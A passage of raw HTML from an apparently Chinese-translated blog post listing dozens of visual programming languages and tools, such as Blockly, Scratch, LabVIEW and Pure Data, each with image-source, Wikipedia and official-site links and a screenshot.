Inventor For Android</h4>\n<p><a href=\"http://beta.appinventor.mit.edu/learn/tutorials/whereismycar/whereismycar.html\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/App_Inventor_for_Android\">Wikipedia</a> 和 <a href=\"http://appinventor.mit.edu/explore/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_app_inventor_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"arcgis_model_builder\">ArcGIS Model Builder</h4>\n<p><a href=\"http://www.rockware.com/product/featuresLobby.php?id=193&amp;category=615\">图片来源</a> 和 <a href=\"http://resources.arcgis.com/en/help/main/10.1/index.html#//002w00000001000000\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_app_arcgis_01.gif\"/><img alt=\"\"/></p>\n<h4 id=\"automator\">Automator</h4>\n<p><a href=\"http://www.apple.com/remotedesktop/automation.html\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Automator_%28software%29\">Wikipedia</a> 和 <a href=\"http://www.apple.com/osx/apps/#automator\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_automator_01.jpg\"/><img alt=\"\"/></p>\n<h4 id=\"blockly\">Blockly</h4>\n<p><a href=\"http://i.imgur.com/PfJO2.png\">图片来源</a> 和 <a href=\"https://code.google.com/p/blockly/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_blockly_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"bounce\">Bounce</h4>\n<p><a href=\"http://www.art.net/~hopkins/Don/lang/bounce/SpaceSeedCircuits.gif\">图片来源</a> 和 <a href=\"http://www.art.net/~hopkins/Don/lang/bounce/bounce.html\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_bounce_01.gif\"/><img alt=\"\"/></p>\n<h4 id=\"copper_thoughts\">Copper Thoughts</h4>\n<p><a href=\"http://www.copperthoughts.com/assets/request-fsm-instance.png\">图片来源</a> 和 <a href=\"http://www.copperthoughts.com/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_copper_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"drakon\">DRAKON</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/DRAKON\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/DRAKON\">Wikipedia</a> 和 <a href=\"http://drakon-editor.sourceforge.net/\">官方网站</a></p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"712\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_drakon_01.png\" width=\"720\"/><img alt=\"\"/></p>\n<h4 id=\"etoys__squeak\">Etoys / Squeak</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/File:Squeak-screenshot.png\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Etoys_%28programming_language%29\">Wikipedia</a> 和 <a href=\"http://www.squeakland.org/\">官方网站</a></p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"496\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_etoysqueak_01.png\" width=\"733\"/><img alt=\"\"/></p>\n<h4 id=\"field\">Field</h4>\n<p><a href=\"http://openendedgroup.com/field/OverviewBanners2.html\">图片来源</a> 和 <a href=\"http://openendedgroup.com/field/\">官方网站</a></p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"442\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_field_01.png\" width=\"860\"/><img alt=\"\"/></p>\n<h4 id=\"fl_studio\">FL Studio</h4>\n<p><a href=\"http://freaksolid.wordpress.com/2013/05/20/fl-studio-11-patcher-dj-performance-presets/\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Fl_studio\">Wikipedia</a> 和 <a href=\"http://www.image-line.com/flstudio/\">官方网站</a></p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"610\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_flstudiopatcher_01.jpg\" width=\"1082\"/><img alt=\"\"/></p>\n<h4 id=\"flow_hub_and_noflo\">Flow Hub and NoFlo</h4>\n<p>Flow-Based Programming.</p>\n<p><a href=\"http://flowhub.io/\">图片来源 1</a>, <a href=\"http://cdn.thegrid.io.s3.amazonaws.com/noflo/kickstarter/images/UI-03.jpg\">图片来源 2</a> <a href=\"http://noflojs.org/\">官方网站 1</a> 和 <a href=\"http://flowhub.io/\">官方网站 2</a></p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"451\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_flohub_01.png\" width=\"819\"/><img alt=\"\"/></p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"562\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_noflo_01.jpg\" width=\"734\"/><img alt=\"\"/></p>\n<h4 id=\"flowstone\">FlowStone</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/File:FlowStone_Large_Screenshot.png\">图片来源</a> 和 <a href=\"http://www.dsprobotics.com/flowstone.html\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_flowstone_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"godot_engine\">GoDot Engine</h4>\n<p><a href=\"http://www.godotengine.org/wp/wp-content/uploads/2014/01/editor2.jpg\">图片来源</a> 和 <a href=\"http://www.godotengine.org/wp/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_godot_01.jpg\"/><img alt=\"\"/></p>\n<h4 id=\"google_web_designer\">Google Web Designer</h4>\n<p><a>图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Google_Web_Designer\">Wikipedia</a> 和 <a href=\"https://www.google.com/webdesigner/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_webdesigner_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"hopscotch\">Hopscotch</h4>\n<p><a href=\"https://www.gethopscotch.com/\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Hopscotch_%28programming_language%29\">Wikipedia</a> 和 <a href=\"https://www.gethopscotch.com/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_hopscotch_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"hypercard\">HyperCard</h4>\n<p><a href=\"http://www.smackerel.net/black_white_02.html\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/HyperCard\">Wikipedia</a> 和 <a href=\"http://hypercard.org/\">官方网站???</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_hypercard_01.gif\"/><img alt=\"\"/></p>\n<h4 id=\"ifttt\">IFTTT</h4>\n<p><a href=\"https://ifttt.com/recipes\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Ifttt\">Wikipedia</a> 和 <a href=\"https://ifttt.com/wtf\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_ifttt_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"illumination_software_creator\">Illumination Software Creator</h4>\n<p><a href=\"http://lunduke.com/2010/06/16/illumination-software-creator-20-beta-2/\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Illumination_Software_Creator\">Wikipedia</a> 和 <a href=\"http://lunduke.com/2010/06/16/illumination-software-creator-20-beta-2/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_illumination_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"intentional_technology\">Intentional Technology</h4>\n<p><a href=\"http://www.intentsoft.com/intentional-technology/\">图片来源</a> 和 <a href=\"http://www.intentsoft.com/intentional-technology/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_IntentionalTech_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"jeskola_buzz\">Jeskola Buzz</h4>\n<p><a href=\"http://blog.livedoor.jp/acid808/archives/cat_693944.html\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Jeskola_Buzz\">Wikipedia</a> 和 <a href=\"http://www.jeskola.net/buzz/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_jeskolabuzz_01.jpg\"/><img alt=\"\"/></p>\n<h4 id=\"kimono\">Kimono</h4>\n<p><a href=\"http://www.kimonolabs.com/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_kimono_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"kodu_boku\">Kodu (Boku)</h4>\n<p><a href=\"http://www.interactiveclassroom.net/?p=508\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Kodu\">Wikipedia</a> 和 <a href=\"http://research.microsoft.com/en-us/projects/kodu/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_kodu_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"labview\">LabView</h4>\n<p><a href=\"http://www.ni.com/newsletter/51735/en/\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/LabVIEW\">Wikipedia</a> 和 <a href=\"http://www.ni.com/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_labview_02.png\"/><img alt=\"\"/></p>\n<h4 id=\"ladder_logic\">Ladder Logic</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/Ladder_logic\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Ladder_logic\">Wikipedia</a> 和 <a>官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_ladderlogic_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"lamdu\">Lamdu</h4>\n<p><a href=\"http://peaker.github.io/lamdu/\">图片来源</a> 和 <a href=\"http://peaker.github.io/lamdu/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_lamdu_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"lava\">Lava</h4>\n<p><a href=\"http://lavape.sourceforge.net/Derivation.htm\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Lava_%28programming_language%29\">Wikipedia</a> 和 <a href=\"http://lavape.sourceforge.net/\">官方网站</a></p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"639\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_lava_01.png\" width=\"660\"/><img alt=\"\"/></p>\n<h4 id=\"learnable_programming\">Learnable Programming</h4>\n<p>More of a post on different ways to learn programming.</p>\n<p><a href=\"http://worrydream.com/#!/LearnableProgramming\">图片来源</a> 和 <a href=\"http://worrydream.com/#!/LearnableProgramming\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_learnable_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"light_table\">Light Table</h4>\n<p>Chris Granger’s development environment. <a href=\"https://plus.google.com/+JJoeDouglas/posts\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Light_table_%28software%29\">Wikipedia</a> 和 <a href=\"http://www.lighttable.com/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_lighttable_01.jpg\"/><img alt=\"\"/></p>\n<h4 id=\"lily\">Lily</h4>\n<p>Really cool and hard to describe. You need to visit their demo web page and watch their videos. <a href=\"http://blog.lilyapp.org/lily/demo/\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Lily_%28software%29\">Wikipedia</a> 和 <a href=\"http://blog.lilyapp.org/lily/demo/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_lily_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"limnor_studio\">Limnor Studio</h4>\n<p><a href=\"http://www.limnor.com/studio_whatIsIt.html\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Limnor\">Wikipedia</a> 和 <a href=\"http://www.limnor.com/studio_whatIsIt.html\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_limnorstudio_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"little_big_planet\">Little Big Planet</h4>\n<p>Someone built an An <a href=\"http://www.youtube.com/watch?v=jWanvKdurU0\">8-bit Mechanical Adder in LittleBigPlanet</a></p>\n<p><a href=\"http://www.youtube.com/watch?v=jWanvKdurU0\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/LittleBigPlanet\">Wikipedia</a> 和 <a href=\"http://littlebigplanet.playstation.com/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_littlebig_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"minecraft\">Minecraft</h4>\n<p>Considering someone has created a <a href=\"http://www.youtube.com/watch?v=frcr9XYeTW4\">fully programmable computer</a> using Minecraft.</p>\n<p><a href=\"http://www.youtube.com/watch?v=frcr9XYeTW4\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Minecraft\">Wikipedia</a> 和 <a href=\"https://minecraft.net/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_minecraft_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"minibloq\">Minibloq</h4>\n<p>This has a really cool looking interface. <a href=\"http://en.wikipedia.org/wiki/File:ToneWithVariables.png\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Minibloq\">Wikipedia</a> 和 <a href=\"http://blog.minibloq.org/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_minibloq_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"morphic\">Morphic</h4>\n<p><a href=\"http://www.cc.gatech.edu/fac/mark.guzdial/squeak/startingmorphic.html\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Morphic_%28software%29\">Wikipedia</a> 和 <a href=\"http://www.dmoz.org/Computers/Software/Operating_Systems/Graphic_Subsystems/Morphic\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_morphic_01.gif\"/><img alt=\"\"/></p>\n<h4 id=\"mozilla_appmaker\">Mozilla Appmaker</h4>\n<p>This was discussed quite a bit on <a href=\"https://news.ycombinator.com/item?id=6501731\">Ycombinator</a>. <a href=\"http://2.bp.blogspot.com/-1xD81b5fPso/Uly-amqf9vI/AAAAAAAAC8I/n7ehLipb1CE/s1600/appmaker.png\">图片来源</a> 和 <a href=\"https://appmaker.mozillalabs.com/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_appmaker_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"mst_workshop\">MST Workshop</h4>\n<p><a href=\"http://home.comcast.net/~tpandolfi/site/?/photos/&amp;PHPSESSID=63621f2035fe55537d794ab0ac795934\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/MST_Workshop\">Wikipedia</a> 和 <a href=\"http://home.comcast.net/~tpandolfi/site/?/home/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_mst_01.jpg\"/><img alt=\"\"/></p>\n<h4 id=\"neattools_visual_programming_environment\">NeatTools Visual Programming Environment</h4>\n<p><a href=\"http://www.sensyr.com/NeatTools.html\">图片来源</a> 和 <a href=\"http://www.neattools.org/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_NeatTools_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"nodebox\">NodeBox</h4>\n<p><a href=\"http://nodebox.net/node/\">图片来源</a> 和 <a href=\"http://nodebox.net/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_nodebox_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"nuke\">Nuke</h4>\n<p><a href=\"http://www.thefoundry.co.uk/products/nuke-product-family/nuke/\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Nuke_%28software%29\">Wikipedia</a> 和 <a href=\"http://www.thefoundry.co.uk/products/nuke-product-family/nuke/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_nuke_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"nxtg\">NXT-G</h4>\n<p>Legos!!! <a href=\"http://www.brickshelf.com/cgi-bin/gallery.cgi?i=2051945\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Lego_Mindstorms_NXT#NXT-G\">Wikipedia</a> 和 <a href=\"http://www.legoengineering.com/program/nxt-g/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_nxt-g_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"open_modelica\">Open Modelica</h4>\n<p><a href=\"http://www.marekgayer.com/en/projects/incfd/\">图片来源</a> 和 <a href=\"https://www.openmodelica.org/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_openmodelica_01.jpg\"/><img alt=\"\"/></p>\n<h4 id=\"open_music\">Open Music</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/File:Om_patch.gif\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/OpenMusic\">Wikipedia</a> 和 <a href=\"http://repmus.ircam.fr/openmusic/home\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_openmusic_01.gif\"/><img alt=\"\"/></p>\n<h4 id=\"openwire\">OpenWire</h4>\n<p><a href=\"http://www.mitov.com/products/openwire#screenshots\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/OpenWire_%28library%29\">Wikipedia</a> 和 <a href=\"http://www.mitov.com/products/openwire#overview\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_openwire_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"origami\">Origami</h4>\n<p><a href=\"http://a.36krcnd.com/photo/2014/d2878df00bea4bfb782037f1683423e3.jpg\">图片来源</a> 和 <a href=\"http://facebook.github.io/origami/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_origami_01.jpg\"/><img alt=\"\"/></p>\n<h4 id=\"piet\">Piet</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/Piet_%28programming_language%29#Piet\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Piet_%28programming_language%29#Piet\">Wikipedia</a> 和 <a href=\"http://www.retas.de/thomas/computer/programs/useless/piet/Piet/index.html\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_piet_01.gif\"/><img alt=\"\"/></p>\n<h4 id=\"programming_without_coding_technology\">Programming Without Coding Technology</h4>\n<p><a href=\"http://sourceforge.net/projects/doublesvsoop/?source=recommended\">图片来源</a> 和 <a href=\"http://doublesvsoop.sourceforge.net/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_pwct_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"prograph\">Prograph</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/File:Prograph_database_operation.PNG\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Prograph\">Wikipedia</a> 和 <a href=\"http://c2.com/cgi/wiki?PrographLanguage\">官方网站??</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_prograph_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"pure_data\">Pure Data</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/File:Pd_example_3.svg\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Pure_Data\">Wikipedia</a> 和 <a href=\"http://puredata.info/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_puredata_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"quartz_composer\">Quartz Composer</h4>\n<p><a href=\"http://mastersofmedia.hum.uva.nl/2011/10/24/finally-it-comes-together/\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Quartz_Composer\">Wikipedia</a> 和 <a href=\"https://developer.apple.com/technologies/mac/graphics-and-animation.html\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_quartz_01.jpg\"/><img alt=\"\"/></p>\n<h4 id=\"reaktor\">Reaktor</h4>\n<p><a href=\"http://media.soundonsound.com/sos/oct99/images/reaktor5.gif\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Reaktor\">Wikipedia</a> 和 <a href=\"http://www.native-instruments.com/en/products/komplete/synths-samplers/reaktor-5/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_reaktor_01.gif\"/><img alt=\"\"/></p>\n<h4 id=\"scheme_bricks\">Scheme Bricks</h4>\n<p><a href=\"http://www.pawfal.org/dave/blog/2010/05/scheme-bricks-for-graphics/\">图片来源</a> 和 <a href=\"http://www.pawfal.org/dave/index.cgi?Projects/Scheme%20Bricks\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_schemebricks_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"scratch\">Scratch</h4>\n<p><a href=\"http://scratch.mit.edu/projects/11126006/#editor\">图片来源 1</a>, <a href=\"http://scratch.mit.edu/projects/11126006/#editor\">图片来源 2</a>, <a href=\"http://en.wikipedia.org/wiki/Scratch_%28programming_language%29\">Wikipedia</a> 和 <a href=\"http://scratch.mit.edu/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_scratch_01.png\"/><img alt=\"\"/></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_scratch_02.png\"/><img alt=\"\"/></p>\n<h4 id=\"self\">Self</h4>\n<p><a href=\"http://handbook.selflanguage.org/current/langref.html#objects\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Self_%28programming_language%29\">Wikipedia</a> 和 <a href=\"http://selflanguage.org/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_self_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"sextante\">Sextante</h4>\n<p><a href=\"http://www.gvsig.com/files/images/screenshots/gvSIG_Sextante_02.png\">图片来源</a> 和 <a href=\"http://sextantegis.com/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_sextante_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"simulink\">Simulink</h4>\n<p><a href=\"http://www.mathworks.com/products/simulink/?s_cid=wiki_simulink_8\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Simulink\">Wikipedia</a> 和 <a href=\"http://www.mathworks.com/products/simulink/?s_cid=wiki_simulink_8\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_simlink_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"sikuli\">Sikuli</h4>\n<p><a href=\"http://hellotestworld.com/2012/04/27/sikuli-for-all-those-hard-to-reach-places/\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Sikuli\">Wikipedia</a> 和 <a href=\"http://www.sikuli.org\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_sikuli_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"sql_server_integration_services\">SQL Server Integration Services</h4>\n<p><a href=\"http://technet.microsoft.com/en-us/library/cc917721.aspx\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/SQL_Server_Integration_Services\">Wikipedia</a> 和 <a href=\"http://www.microsoft.com/en-us/sqlserver/solutions-technologies/enterprise-information-management/integration-services.aspx\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_sqlintegration_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"story_code\">Story Code</h4>\n<p><a href=\"http://softconstructors.com/en/applications/stroycode/screenshots.html\">图片来源</a> 和 <a href=\"http://softconstructors.com/en/applications/stroycode/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_stroycode_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"textit\">TextIt</h4>\n<p><a href=\"https://textit.in/\">图片来源</a> 和 <a href=\"https://textit.in/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_textit_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"touch_develop\">Touch Develop</h4>\n<p>From Microsoft research.</p>\n<p><a href=\"http://handheld.softpedia.com/progScreenshots/TouchDevelop-Screenshot-125731.html\">图片来源</a> 和 <a href=\"https://www.touchdevelop.com/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_touchdevelop_01.jpg\"/><img alt=\"\"/></p>\n<h4 id=\"tydlig\">Tydlig</h4>\n<p><a href=\"http://tydligapp.com/images/screenshots/1-physics.png\">图片来源</a> 和 <a href=\"http://tydligapp.com/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_tydlig_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"udk\">UDK</h4>\n<p><a href=\"http://www.youtube.com/watch?v=0OR63rDN5p8\">图片来源</a> 和 <a href=\"http://www.unrealengine.com/en/udk/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_udk_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"visual_jforex\">Visual JForex</h4>\n<p><a href=\"http://i1.ytimg.com/vi/iz5numHchGU/maxresdefault.jpg\">图片来源</a> 和 <a href=\"http://www.dukascopy.com/swiss/english/forex/Visual/features/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_jforex_01.jpg\"/><img alt=\"\"/></p>\n<h4 id=\"vuo\">VUO</h4>\n<p><a href=\"http://www.vjunion.se/2013/03/a-great-start-to-the-new-year/\">图片来源</a> 和 <a href=\"http://vuo.org/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_vuo_01.png\"/><img alt=\"\"/></p>\n<h4 id=\"vvvv\">VVVV</h4>\n<p><a href=\"http://vvvv.org/contribution/vvvv.packs.image\">图片来源 1</a>, <a href=\"http://kristiansmusicproductionblog.com/wp-content/uploads/vvvv.png\">图片来源 2</a>, <a href=\"http://en.wikipedia.org/wiki/Vvvv\">Wikipedia</a> 和 <a href=\"http://www.vvvv.org/\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_vvvv_01.png\"/><img alt=\"\"/></p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_vvvv_02.png\"/><img alt=\"\"/></p>\n<h4 id=\"windows_workflow_foundation\">Windows Workflow Foundation</h4>\n<p><a href=\"http://fryerblog.com/post/2179029238/a-windows-workflow-foundation-example\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Windows_Workflow_Foundation\">Wikipedia</a> 和 <a href=\"http://msdn.microsoft.com/en-us/vstudio/jj684582.aspx\">官方网站</a></p>\n<p><img alt=\"\" class=\"aligncenter\" 